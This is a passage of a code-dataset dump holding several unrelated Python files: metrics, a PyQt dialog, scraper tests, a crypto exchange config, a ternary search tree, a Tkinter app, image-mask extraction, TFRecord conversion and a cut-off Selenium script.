len(y_true)\n\n\ndef recall(y_true: list, y_pred: list) -> float:\n \"\"\"Возвращает точность рекомендательной системы.\n\n Args:\n y_true: истинные классы.\n y_pred: предсказания модели.\n\n Examples:\n >>> recall([1, 2, 3], [1, 4, 5]) # doctest: +ELLIPSIS\n 0.333...\n\n >>> recall([1, 2, 3], [1, 2, 5, 4])\n 0.5\n\n \"\"\"\n return len(np.intersect1d(y_true, y_pred)) / len(y_pred)\n\n\ndef f1_score(y_true: list, y_pred: list) -> float:\n \"\"\"Возвращает F1-score рекомендательной системы.\n\n Args:\n y_true: истинные классы.\n y_pred: предсказания модели.\n\n Examples:\n >>> f1_score([1, 2, 3], [1, 4, 5]) # doctest: +ELLIPSIS\n 0.333...\n\n >>> f1_score([1, 2, 3], [1, 2, 5, 4]) # doctest: +ELLIPSIS\n 0.5714...\n \"\"\"\n p = precision(y_true, y_pred)\n r = recall(y_true, y_pred)\n return 2 * p * r / (p + r)\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n","repo_name":"Maksimov-Dmitry/MADE-PROJECT_1","sub_path":"ds/recommend_systems_metrics.py","file_name":"recommend_systems_metrics.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27319636563","text":"import sys\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\n\nclass ContactDlg(QDialog):\n\n StyleSheet = \"\"\"\nQComboBox { color: darkblue; }\nQLineEdit { color: darkgreen; }\n\"\"\"\n StyleSheet2 = \"\"\"\nQComboBox { color: darkblue; }\nQLineEdit { color: black; }\nQLineEdit[mandatory=\"true\"]{\n background-color:rgb(111,233,123);\n color:black;\n }\nQLineEdit[mandatory_edu=\"true\"]{\n background-color:rgb(221,233,123);\n color:black;\n }\n\n.QLineEdit{\n color:green;\n}\nQLineEdit{\n color:black;\n}\nQLineEdit#obj_mobileEdit{\n color:red;\n}\nQComboBox::drop-down{\n color:red;\n}\nQCheckBox:checked{\n color:yellow;\n}\n\"\"\"\n# 对于样式表来说,如果有父样式和子样式,如果子样式被父样式覆盖,则子样式中那些在父样式中不存在的也会被重写。\n#.QLineEdit 和 QLineEdit 前者针对特定的类而不包括子类,后者包括类和子类,如果均设置,且设置项冲突,则以更精准的为准,也就是.QLineEdit,在这个例子中为绿色而不是黑色\n# QLineEdit#OBJNAME 为更精细的类,因此不论其写在CSS的哪一行,均不会被覆盖,其颜色均为红色。\n# 对于伪状态,可以使用:表示,对于子组件,可以使用::表示。但是上面两个好像并不好用\n def __init__(self, parent=None):\n super(ContactDlg, self).__init__(parent)\n\n forenameLabel = QLabel(\"姓名(&N)\")\n self.forenameEdit = QLineEdit()\n forenameLabel.setBuddy(self.forenameEdit)\n surnameLabel = QLabel(\"曾用名(&U)\")\n self.surnameEdit = QLineEdit()\n surnameLabel.setBuddy(self.surnameEdit)\n categoryLabel = QLabel(\"行业(&V)\")\n self.categoryComboBox = QComboBox()\n categoryLabel.setBuddy(self.categoryComboBox)\n self.categoryComboBox.addItems([\"商业\", \"教育\",\n \"其他\"])\n companyLabel = QLabel(\"公司(&C)\")\n self.companyEdit = QLineEdit()\n companyLabel.setBuddy(self.companyEdit)\n addressLabel = QLabel(\"地址(&A)\")\n self.addressEdit = QLineEdit()\n addressLabel.setBuddy(self.addressEdit)\n phoneLabel = QLabel(\"固定电话(&P)\")\n self.phoneEdit = QLineEdit()\n phoneLabel.setBuddy(self.phoneEdit)\n mobileLabel = QLabel(\"移动电话(&M)\")\n self.mobileEdit = QLineEdit()\n self.mobileEdit.setObjectName('obj_mobileEdit')\n mobileLabel.setBuddy(self.mobileEdit)\n faxLabel = QLabel(\"传真(&F)\")\n self.faxEdit = QLineEdit()\n faxLabel.setBuddy(self.faxEdit)\n emailLabel = QLabel(\"电子邮件(&E)\")\n self.emailEdit = QLineEdit()\n emailLabel.setBuddy(self.emailEdit)\n self.buttonBox = QDialogButtonBox(QDialogButtonBox.Ok|\n QDialogButtonBox.Cancel)\n addButton = self.buttonBox.button(QDialogButtonBox.Ok)\n addButton.setText(\"添加(&S)\")\n addButton.setEnabled(False)\n\n testcombobox = QComboBox()\n testcheckbox = QCheckBox()\n\n grid = QGridLayout()\n grid.addWidget(forenameLabel, 0, 0)\n grid.addWidget(self.forenameEdit, 0, 1)\n grid.addWidget(surnameLabel, 0, 2)\n grid.addWidget(self.surnameEdit, 0, 3)\n grid.addWidget(categoryLabel, 1, 0)\n grid.addWidget(self.categoryComboBox, 1, 1)\n grid.addWidget(companyLabel, 1, 2)\n grid.addWidget(self.companyEdit, 1, 3)\n grid.addWidget(addressLabel, 2, 0)\n grid.addWidget(self.addressEdit, 2, 1, 1, 3)\n grid.addWidget(phoneLabel, 3, 0)\n grid.addWidget(self.phoneEdit, 3, 1)\n grid.addWidget(mobileLabel, 3, 2)\n grid.addWidget(self.mobileEdit, 3, 3)\n grid.addWidget(faxLabel, 4, 0)\n grid.addWidget(self.faxEdit, 4, 1)\n grid.addWidget(emailLabel, 4, 2)\n grid.addWidget(self.emailEdit, 4, 3)\n grid.addWidget(testcombobox,5,0)\n grid.addWidget(testcheckbox,5,2)\n layout = QVBoxLayout()\n layout.addLayout(grid)\n layout.addWidget(self.buttonBox)\n self.setLayout(layout)\n\n self.lineedits = (self.forenameEdit, self.surnameEdit,\n self.companyEdit, self.phoneEdit, self.emailEdit)\n for lineEdit in self.lineedits:\n lineEdit.setProperty(\"mandatory\", QVariant(True))\n # self.connect(lineEdit, SIGNAL(\"textEdited(QString)\"),\n # self.updateUi)\n lineEdit.textEdited.connect(self.updateUi)\n # self.connect(self.categoryComboBox, SIGNAL(\"activated(int)\"),\n # self.updateUi)\n self.categoryComboBox.activated.connect(self.updateUi)\n\n # self.connect(self.buttonBox, SIGNAL(\"accepted()\"), self.accept)\n # self.connect(self.buttonBox, SIGNAL(\"rejected()\"), self.reject)\n # self.buttonBox.button(QDialogButtonBox.Ok).connect(self.accept)\n self.buttonBox.accepted.connect(self.accept)\n self.buttonBox.rejected.connect(self.reject)\n self.setStyleSheet(self.StyleSheet2)\n self.setWindowTitle(\"添加联系人\")\n\n\n def updateUi(self):\n mandatory = self.companyEdit.property(\"mandatory\") # 先对这个对象是否具有这个属性进行判断,使用property来访问Qt属性\n if self.categoryComboBox.currentText() == \"商业\":\n self.companyEdit.setProperty(\"mandatory_edu\", QVariant(False))\n self.companyEdit.setProperty(\"mandatory\", QVariant(True))\n for lineedit in self.lineedits:\n lineedit.setProperty(\"mandatory_edu\",QVariant(False))\n lineedit.setProperty(\"mandatory\",QVariant(True))\n elif self.categoryComboBox.currentText() == \"教育\":\n self.companyEdit.setProperty(\"mandatory\", QVariant(False))\n self.companyEdit.setProperty(\"mandatory_edu\", QVariant(True))\n for lineedit in self.lineedits:\n lineedit.setProperty(\"mandatory_edu\",QVariant(True))\n elif self.categoryComboBox.currentText() == \"其他\":\n self.companyEdit.setProperty(\"mandatory\", QVariant(False))\n self.companyEdit.setProperty(\"mandatory_edu\", QVariant(False))\n for lineedit in self.lineedits:\n lineedit.setProperty(\"mandatory_edu\",QVariant(False))\n lineedit.setProperty(\"mandatory\",QVariant(False))\n\n self.setStyleSheet(self.StyleSheet2)\n # 必须更新样式表才能重新生效,但是,只有在必须的时候才进行更新,否则对运行较慢的机器不友好。\n enable = True\n for lineEdit in self.lineedits:\n if lineEdit.text() == '':\n enable = False\n break\n self.buttonBox.button(QDialogButtonBox.Ok).setEnabled(enable)\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n form = ContactDlg()\n form.show()\n app.exec_()\n","repo_name":"won2930015/pyqtgui","sub_path":"chap11/ch_11_customer_for pyqt5_to_py3x/contactdlg.py","file_name":"contactdlg.py","file_ext":"py","file_size_in_byte":6930,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"14914908769","text":"\"\"\"\nunit tests for the nba_scraper module\n\"\"\"\nfrom datetime import datetime\nimport pytest\nimport json\nimport pandas as pd\nimport nba_scraper.scrape_functions as sf\nimport nba_scraper.nba_scraper as ns\n\n\ndef test_pbp_scrape():\n \"\"\"\n test of the main_scrape function using pre downloaded JSON\n \"\"\"\n with open(\"test_files/v2_dict.json\", \"r\") as v2_file:\n v2_dict = json.load(v2_file)\n\n game_df = sf.scrape_pbp(v2_dict)\n assert isinstance(game_df, pd.DataFrame)\n\n\n# fix this test later\ndef test_lineup_scrape():\n # this will test the get_lineups function to make sure it is returning\n # a dataframe of the pbp with the the players on the floor at each event\n\n with open(\"test_files/v2_dict.json\", \"r\") as v2_file:\n v2_dict = json.load(v2_file)\n\n with open(\"test_files/lineups.json\", \"r\") as lineup:\n lineup_dict = json.load(lineup)\n\n game_df = sf.scrape_pbp(v2_dict)\n\n game_df = sf.get_lineup(\n game_df[game_df[\"period\"] == 1].copy(), lineup_dict, game_df\n )\n\n assert isinstance(game_df, pd.DataFrame)\n\n\ndef test_get_season():\n \"\"\"\n tests the get get_season function in scraper_functions to make sure it\n is returning the correct date\n \"\"\"\n assert sf.get_season(datetime.strptime(\"2018-09-01\", \"%Y-%m-%d\")) == 2018\n assert sf.get_season(datetime.strptime(\"2018-04-01\", \"%Y-%m-%d\")) == 2017\n assert sf.get_season(datetime.strptime(\"2018-01-01\", \"%Y-%m-%d\")) == 2017\n\n\ndef test_made_shot():\n \"\"\"\n test the made_shot funciton to make sure it is calculating correctly\n \"\"\"\n\n with open(\"test_files/v2_dict.json\", \"r\") as v2_file:\n v2_dict = json.load(v2_file)\n\n game_df = sf.scrape_pbp(v2_dict)\n\n assert sf.made_shot(game_df.iloc[20, :].copy()) == 1\n assert sf.made_shot(game_df.iloc[13, :].copy()) == 1\n assert sf.made_shot(game_df.iloc[23, :].copy()) == 0\n assert sf.made_shot(game_df.iloc[123, :].copy()) == 0\n\n\n'''\ndef test_parse_foul():\n \"\"\"\n test for the parse_foul function\n \"\"\"\n\n with open(\"test_files/v2_dict.json\", \"r\") as v2_file:\n v2_dict = json.load(v2_file)\n with open(\"test_files/pbp_dict.json\", \"r\") as pbp:\n pbp_dict = json.load(pbp)\n\n game_df = sf.scrape_pbp(v2_dict, pbp_dict)\n assert sf.parse_foul(game_df.iloc[12, :].copy()) == \"3 second\"\n assert sf.parse_foul(game_df.iloc[108, :].copy()) == \"shooting\"\n assert sf.parse_foul(game_df.iloc[125, :].copy()) == \"charge\"\n assert sf.parse_foul(game_df.iloc[131, :].copy()) == \"loose_ball\"\n assert sf.parse_foul(game_df.iloc[155, :].copy()) == \"personal\"\n assert sf.parse_foul(game_df.iloc[256, :].copy()) == \"technical\"\n'''\n\n\n'''\ndef test_shot_types():\n \"\"\"\n function to test the parse_shot_types function in scrape_functions\n \"\"\"\n with open(\"test_files/v2_dict.json\", \"r\") as v2_file:\n v2_dict = json.load(v2_file)\n with open(\"test_files/pbp_dict.json\", \"r\") as pbp:\n pbp_dict = json.load(pbp)\n\n game_df = sf.scrape_pbp(v2_dict, pbp_dict)\n\n assert sf.parse_shot_types(game_df.iloc[3, :].copy()) == \"layup\"\n assert sf.parse_shot_types(game_df.iloc[7, :].copy()) == \"jump\"\n assert sf.parse_shot_types(game_df.iloc[18, :].copy()) == \"dunk\"\n assert sf.parse_shot_types(game_df.iloc[119, :].copy()) == \"hook\"\n assert sf.parse_shot_types(game_df.iloc[119, :].copy()) == \"hook\"\n assert sf.parse_shot_types(game_df.iloc[121, :].copy()) == \"free\"\n'''\n\n\ndef test_seconds_elapsed():\n \"\"\"\n test create_seconds_elapsed function in scrape_functions\n \"\"\"\n with open(\"test_files/v2_dict.json\", \"r\") as v2_file:\n v2_dict = json.load(v2_file)\n\n game_df = sf.scrape_pbp(v2_dict)\n\n assert sf.create_seconds_elapsed(game_df.iloc[8, :].copy()) == 61\n assert sf.create_seconds_elapsed(game_df.iloc[368, :].copy()) == 2197\n assert sf.create_seconds_elapsed(game_df.iloc[233, :].copy()) == 1450\n assert sf.create_seconds_elapsed(game_df.iloc[117, :].copy()) == 735\n\n\ndef test_calc_points():\n \"\"\"\n test calc_points_made function\n \"\"\"\n with open(\"test_files/v2_dict.json\", \"r\") as v2_file:\n v2_dict = json.load(v2_file)\n\n game_df = sf.scrape_pbp(v2_dict)\n assert sf.calc_points_made(game_df.iloc[110, :].copy()) == 1\n assert sf.calc_points_made(game_df.iloc[195, :].copy()) == 2\n assert sf.calc_points_made(game_df.iloc[151, :].copy()) == 3\n\n\ndef test_check_format(capfd):\n \"\"\"\n test check_format function\n \"\"\"\n ns.check_format(\"pandas\")\n out, err = capfd.readouterr()\n assert out == \"\"\n\n ns.check_format(\"pand\")\n out, err = capfd.readouterr()\n assert out == (\n f\"You passed pand to scrape_game function as a data format.\\n\"\n \"This is an unaccepted format. Please either pass 'pandas' or 'csv'.\\n\\n\"\n )\n\n\ndef test_check_valid_dates():\n \"\"\"\n test for check_valid_dates function in nba_scraper.py\n \"\"\"\n ns.check_valid_dates(\"2018-01-01\", \"2018-01-30\")\n with pytest.raises(ValueError):\n ns.check_valid_dates(\"2018-01-30\", \"2018-01-01\")\n\n with pytest.raises(ValueError):\n ns.check_valid_dates(\"01-01-2018\", \"01-30-2018\")\n\n with pytest.raises(ValueError):\n ns.check_valid_dates(\"30-01-2018\", \"15-02-2018\")\n","repo_name":"mcbarlowe/nba_scraper","sub_path":"test_unit.py","file_name":"test_unit.py","file_ext":"py","file_size_in_byte":5208,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"75"} +{"seq_id":"17003804060","text":"import os\nimport ccxt\nimport pandas as pd\nfrom Config import *\n\npd.set_option('display.max_rows', 1000)\npd.set_option('expand_frame_repr', False) # 当列太多时不换行\n# 设置命令行输出时的列对齐功能\npd.set_option('display.unicode.ambiguous_as_wide', True)\npd.set_option('display.unicode.east_asian_width', True)\n\n#根据操作系统设置数据库路径\nif os.name == 'nt':\n global_database_path = 'D:\\\\PythonProjects\\\\coin_data\\\\getKey.csv'\nelif os.name == 'posix':\n global_database_path = '/Volumes/USB-DISK/PythonProjects/coin_data/getKey.csv'\nelse:\n print('操作系统不支持')\n exit()\n\ndf_key = pd.read_csv(\n filepath_or_buffer = global_database_path, \n encoding='utf8', \n sep=',',\n) \n\n# =钉钉\n# 在一个钉钉群中,可以创建多个钉钉机器人。\n# 建议单独建立一个报错机器人,该机器人专门发报错信息。请务必将报错机器人在id和secret放到function.send_dingding_msg的默认参数中。\nrobot_id = df_key['robot_id'][0]\nsecret = df_key['robot_secret'][0] \nrobot_id_secret = [robot_id, secret]\n\n# =交易所配置\nOKEX_CONFIG = {\n 'proxies': {\n 'http': 'http://127.0.0.1:7890',\n 'https': 'http://127.0.0.1:7890'\n },\n 'apiKey': df_key['apiKey'][0],\n 'secret': df_key['api_secret'][0],\n 'password': df_key['password'][0],\n 'timeout': exchange_timeout,\n 'rateLimit': 10,\n # 'hostname': 'okex.me', # 无法fq的时候启用\n 'enableRateLimit': False}\n\n# 测试时ccxt版本为1.27.28。若不是此版本,可能会报错,可能性很低。print(ccxt.__version__)可以查看ccxt版本。\nexchange = ccxt.okex(OKEX_CONFIG)\n\n","repo_name":"xaeolusw/BCoinDate","sub_path":"exchange/GlobalVar.py","file_name":"GlobalVar.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73905077683","text":"from Node import Node;\n\nclass TST(object):\n\n def __init__(self):\n self.rootNode = None\n\n # Define PUT method\n def put(self, key, value):\n self.rootNode = self.putItem(self.rootNode, key, value, 0)\n\n # Define putItem method called above\n def putItem(self, node, key, value, index):\n # c is the character we'll instantiate with\n c = key[index]\n\n if node == None:\n # We instatiate with the character\n node = Node(c)\n\n if c < node.character:\n # It becomes a prediccessor\n # we go to the left and call putItem method recursively\n node.leftNode = self.putItem(node.leftNode, key, value, index)\n\n elif c > node.character:\n # it means it's a successor\n node.rightNode = self.putItem(node.rightNode, key, value, index)\n\n # We check for the middleNode We know it's smaller but we make it efficient by checking for length\n elif index < len(key)-1:\n # Increament the index here\n node.middleNode = self.putItem(node.middleNode, key, value, index +1)\n\n # if all conditions above are None we instert the value \n else:\n node.value = value\n\n return node\n\n # def get method\n def get(self, key):\n node = self.getItem(self.rootNode, key, 0)\n # check if\n if node == None:\n return None\n\n return node.value\n\n def getItem(self, node, key, index):\n if node == None:\n return None\n\n c = key[index]\n\n if c < node.character:\n return self.getItem(node.leftNode, key, index)\n\n elif c > node.character:\n return self.getItem(node.rightNode, key, index)\n\n elif index < len(key) -1:\n return self.getItem(node.middleNode, key, index +1)\n\n else:\n return node","repo_name":"Brian-wKicheu/Data-Structures-and-Algorithm","sub_path":"py_data_structures_and_algorithm/Data_Structures/5.Ternary_Search/TST.py","file_name":"TST.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"20702830981","text":"import tkinter as tk\nfrom PIL import ImageTk, Image\nimport pyglet\nimport sqlite3\n\n\nwindow_width=500\nwindow_height=600\nwindow_bg=\"#F0E2EA\"\nlogo_padx=50\nlogo_pady=(50,0)\nfont_color=\"#4F7B4F\"\n\n# load custom fonts\npyglet.font.add_file(\"/home/juliapaiva/Documents/Py_estudo/fonts/Ubuntu-Bold.ttf\")\npyglet.font.add_file(\"/home/juliapaiva/Documents/Py_estudo/fonts/Shanti-Regular.ttf\")\n\n# initiallize app\nroot = tk.Tk()\nroot.title(\"Plant library\")\nroot.eval(\"tk::PlaceWindow . center\")\n\n#create a frame\nframe1 = tk.Frame(root, width=window_width, height=window_height, bg=window_bg)\nframe1.grid(row=6, column=4)\nframe2 = tk.Frame(root, bg=window_bg)\nframe2.grid(row= 6, column=4)\nframe3 = tk.Frame(root, bg=window_bg)\nframe3.grid(row= 6, column=4)\n\n\n # configure the grid\nframe2.columnconfigure(0, weight=1)\nframe2.columnconfigure(2, weight=1)\nframe2.rowconfigure(0, weight=1)\nframe2.rowconfigure(3, weight=1)\n\n\ndef clear_widgets(frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\ndef load_frame1():\n\n frame1.tkraise()\n frame1.pack_propagate(False)\n\n #frame1 widgets\n logo_img=ImageTk.PhotoImage(file=\"/home/juliapaiva/Documents/Py_estudo/assets/logo_image.png\")\n logo_widget = tk.Label(frame1, image = logo_img, bg=window_bg) \n logo_widget.image=logo_img\n logo_widget.pack(pady=logo_pady, padx=logo_padx)\n\n tk.Label(frame1,\n text=\"Choose your plant!\",bg=window_bg,\n fg=font_color, \n font=(\"Shanti\", 14)\n ).pack()\n\n #button widget\n tk.Button(frame1,\n text=\"CHOOSE\",\n font=(\"Ubuntu\", 20),\n bg=\"#E4BAD9\",\n fg=font_color,\n cursor=\"hand2\",\n activebackground=\"#FFF8FB\",\n activeforeground=font_color,\n command= lambda:load_frame2()\n ).pack(pady=20)\n \ndef load_frame2():\n\n clear_widgets(frame1)\n\n frame2.tkraise()\n frame2.pack_propagate(False)\n\n maranta_img=ImageTk.PhotoImage(file=\"/home/juliapaiva/Documents/Py_estudo/assets/logo_image.png\")\n maranta_widget = tk.Label(frame2, image = maranta_img, bg=window_bg) \n maranta_widget.image=maranta_img\n maranta_widget.grid(row=1,column=1, pady = 2)\n tk.Button(frame2,\n text=\"Maranta\",\n font=(\"Ubuntu\", 20),\n bg=\"#E4BAD9\",\n fg=font_color,\n cursor=\"hand2\",\n activebackground=\"#FFF8FB\",\n activeforeground=font_color,\n command= lambda:load_frame3()\n ).grid(row=2,column=1, pady = 2)\n \n hoya_img=ImageTk.PhotoImage(file=\"/home/juliapaiva/Documents/Py_estudo/assets/logo_image.png\")\n hoya_widget = tk.Label(frame2, image = hoya_img, bg=window_bg) \n hoya_widget.image=hoya_img\n hoya_widget.grid(row=1,column=3, pady = 2)\n tk.Button(frame2,\n text=\"Hoya\",\n font=(\"Ubuntu\", 20),\n bg=\"#E4BAD9\",\n fg=font_color,\n cursor=\"hand2\",\n activebackground=\"#FFF8FB\",\n activeforeground=font_color,\n command= lambda:load_frame4()\n ).grid(row=2,column=3, pady = 2)\n \n peperomia_img=ImageTk.PhotoImage(file=\"/home/juliapaiva/Documents/Py_estudo/assets/logo_image.png\")\n peperomia_widget = tk.Label(frame2, image = peperomia_img, bg=window_bg) \n peperomia_widget.image=peperomia_img\n peperomia_widget.grid(row=4,column=3, pady = 2)\n tk.Button(frame2,\n text=\"Peperomia\",\n font=(\"Ubuntu\", 20),\n bg=\"#E4BAD9\",\n fg=font_color,\n cursor=\"hand2\",\n activebackground=\"#FFF8FB\",\n activeforeground=font_color,\n command= lambda:load_frame5()\n ).grid(row=5,column=3, pady = 2)\n\ndef load_frame3():\n\n global frame2\n clear_widgets(frame2)\n\n frame3.tkraise()\n frame3.pack_propagate(False)\n\n maranta_img=ImageTk.PhotoImage(file=\"/home/juliapaiva/Documents/Py_estudo/assets/logo_image.png\")\n maranta_widget = tk.Label(frame3, image = maranta_img, bg=window_bg) \n maranta_widget.image=maranta_img\n maranta_widget.grid(row=0,columnspan=4, pady = 2)\n \n tk.Label(frame3,\n text=\"Maranta\",bg=window_bg,\n fg=font_color, \n font=(\"Shanti\", 25)\n ).grid(row=1,column=0,sticky=\"s\")\n \n connection = sqlite3.connect(\"/home/juliapaiva/Documents/Py_estudo/plants_new.db\")\n cursor = connection.cursor()\n cursor.execute(\"SELECT Maranta from plants\")\n table_records = cursor.fetchall()\n print (table_records)\n \n\ndef load_frame4():\n print(\"Hoya\")\n\ndef load_frame5():\n print(\"Peperomia\")\n\n\n\n\nload_frame1()\n\n\n# run app\nroot.mainloop()","repo_name":"paivajulia/lib_plants","sub_path":"lib_plant.py","file_name":"lib_plant.py","file_ext":"py","file_size_in_byte":4659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7537333454","text":"import glob\nimport os\n\nimport cv2 as cv\nimport numpy as np\nimport argparse\n\n\n# Extract target mask\ndef extract_target_mask(imagePath, paperPath, region, threshold, output_root='data_build'):\n print(imagePath)\n image = cv.imread(imagePath, 1)\n paper = cv.imread(paperPath, 1)\n\n kernel = np.ones((3, 3), np.uint8)\n paper = cv.dilate(paper, kernel, iterations=5)\n paper = cv.erode(paper, kernel, iterations=5)\n target = cv.dilate(image, kernel, iterations=5)\n target = cv.erode(target, kernel, iterations=5)\n\n mask = cv.subtract(paper, target)\n mask = cv.add(mask, mask)\n\n # crop von seite camera\n crop = mask[region[0], region[1]]\n\n grayImage = cv.cvtColor(crop, cv.COLOR_BGR2GRAY)\n grayImage = cv.GaussianBlur(grayImage, (9, 9), 0)\n\n kernel = np.ones((3, 3), np.uint8)\n grayImage = cv.erode(grayImage, kernel, iterations=3)\n grayImage = cv.dilate(grayImage, kernel, iterations=20)\n grayImage = cv.erode(grayImage, kernel, iterations=20)\n\n edge, thresh = cv.threshold(grayImage, threshold, 255, cv.THRESH_BINARY)\n\n contours, hierarchy = cv.findContours(thresh, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\n meta = image.copy()\n\n contour_sizes = [(cv.contourArea(contour), contour) for contour in contours]\n contour_sizes.sort(key=lambda x: x[0], reverse=True)\n # cv.drawContours(meta, [contour_sizes[0][1]], -1, (255, 0, 0), 3)\n cv.rectangle(meta, (region[1].start, region[0].start), (region[1].stop, region[0].stop), (0, 255, 0), 3)\n\n output = np.zeros((image.shape[0], image.shape[1]), np.uint8)\n output[region[0], region[1]] = thresh\n\n # add specific mark to output name xxx_mask.JPG\n outputPath = os.path.splitext(imagePath)[0].replace(\"original\", \"data_build\")\n os.makedirs(os.path.dirname(outputPath), exist_ok=True)\n\n # write out result image\n cv.imwrite(outputPath + '_mask.JPG', output)\n print(outputPath)\n # cv.imwrite(outputPath + '_meta.JPG', meta)\n\n\ndef extract_mask(threshold, paperPath, inputPath, outputPath, start, end):\n ignoresFileNames = [\"example\", \"mask\", \"contour\", \"meta\"]\n\n # extract mask all photos from one folder\n print(\"Scan files...\")\n images_filter_func = lambda file: not any(ignore in file for ignore in ignoresFileNames)\n images = [file for file in glob.glob(inputPath, recursive=True) if images_filter_func(file)]\n\n print(\"Extract segmentations...\")\n for image in images:\n extract_target_mask(image, paperPath, (start, end), threshold, output_root=outputPath)\n break","repo_name":"BuiHaiNinh/sizeRecognitionSDP","sub_path":"kb/extraction/extract_mask.py","file_name":"extract_mask.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11946057918","text":"# coding:utf-8\nfrom __future__ import absolute_import\nimport argparse\nimport os\nimport logging\nfrom src.tfrecord import main\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"6\"\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', '--tensorflow-data-dir', default='pic/')\n parser.add_argument('--train-shards', default=2, type=int)\n parser.add_argument('--validation-shards', default=2, type=int)\n parser.add_argument('--num-threads', default=2, type=int)\n parser.add_argument('--dataset-name', default='satellite', type=str)\n return parser.parse_args()\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO) # 初始化日志 日志级别是info\n args = parse_args() # 获得命令行解析对象 用于上面的参数\n args.tensorflow_dir = args.tensorflow_data_dir # 命令行对象添加参数 'pic/'\n args.train_directory = os.path.join(args.tensorflow_dir, 'train') # 命令行对象添加参数 'pic/train/'\n args.validation_directory = os.path.join(args.tensorflow_dir, 'validation') #命令行对象添加参数 'pic/validation/'\n args.output_directory = args.tensorflow_dir # 命令行对象添加参数 tfrecord文件存放地方 'pic/'\n args.labels_file = os.path.join(args.tensorflow_dir, 'label.txt') # 添加参数,label名文件应该在 'pic/label.txt'(如果有)\n if os.path.exists(args.labels_file) is False: # 如果没有 根据文件名自动创建\n logging.warning('Can\\'t find label.txt. Now create it.')\n all_entries = os.listdir(args.train_directory)\n dirnames = []\n for entry in all_entries:\n if os.path.isdir(os.path.join(args.train_directory, entry)):\n dirnames.append(entry)\n with open(args.labels_file, 'w') as f:\n for dirname in dirnames:\n f.write(dirname + '\\n')\n # run src.tfrecord.main\n main(args)\n","repo_name":"poemlin/ComputerVisionProject","sub_path":"Classify_with_slim/data_prepare/data_convert.py","file_name":"data_convert.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69950669683","text":"from selenium import webdriver \nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport time\nfrom time import sleep\nimport sys\n\n\nattribute_id = 'id'\nattribute_class = 'class'\nattribute_xpath = 'xpath'\nattribute_css = 'css'\n\n\ndef LocateByAttribute(attribute, locate_name):\n if attribute == 'id':\n element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, locate_name)))\n\n elif attribute == 'class':\n element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, locate_name)))\n\n elif attribute == 'xpath':\n element = WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.XPATH, locate_name)))\n \n elif attribute == 'css':\n element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, locate_name)))\n \n if not element:\n sys.exit(f\"Can not find {locate_name}\")\n\n return element\n\n\ndef Type(locate_name, type_value, attribute):\n element = LocateByAttribute(attribute, locate_name)\n element.send_keys(type_value)\n return element\n\n\ndef Press(locate_name, attribute):\n element = LocateByAttribute(attribute, locate_name)\n element.click()\n return element\n\n\ndef GetElementText(locate_name):\n text = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, locate_name))).get_attribute(\"value\")\n \n if not text:\n sys.exit(f\"Can not get the text of {locate_name}\")\n\n return text\n\n\ndef Create(id, pmt):\n locate_id = '/html/body/input[1]'\n locate_pmt = '/html/body/input[2]'\n locate_confirm = '/html/body/button[1]'\n locate_popup_id = '/html/body/label[4]'\n locate_redirect = '/html/body/button[2]'\n\n try:\n element = Type(locate_id, id, attribute_xpath)\n time.sleep(1)\n\n element = Type(locate_pmt, pmt, attribute_xpath)\n time.sleep(1)\n\n element = Press(locate_confirm, attribute_xpath)\n time.sleep(1)\n \n element_idTxt = LocateByAttribute(attribute_xpath, locate_popup_id)\n id_txt = element_idTxt.text\n time.sleep(1)\n \n if not id_txt:\n sys.exit(\"fail to get text\")\n\n element = Press(locate_redirect, attribute_xpath)\n time.sleep(1)\n \n return id_txt\n \n except:\n sys.exit(\"fail to create\")\n\n\ndef Query(userId):\n # locate_redirect = '/html/body/button[2]'\n locate_userId = '/html/body/input'\n locate_confirm = '/html/body/button'\n locate_redirect = '/html/body/button[2]'\n \n try:\n element = Type(locate_userId, userId, attribute_xpath)\n time.sleep(1)\n\n element = Press(locate_confirm, attribute_xpath)\n time.sleep(1)\n\n element = Press(locate_redirect, attribute_xpath)\n time.sleep(2)\n\n except:\n sys.exit(\"fail to query\")\n\n\ndef Update(userId, orderId, itemId, itemName, unitPrice, qty, itemId2, itemName2, unitPrice2, qty2, newId, newItemName, newUnitPrice, newQty, mod_val1, mod_val2):\n locate_userId = '/html/body/input'\n locate_orderId = '/html/body/input[2]'\n locate_query = '/html/body/button[1]'\n\n locate_newOrderId = '/html/body/div[1]/label[2]'\n locate_newUserId = '/html/body/div[1]/label[4]'\n locate_totalPrice = '/html/body/div[1]/label[6]'\n\n locate_addNewRow = 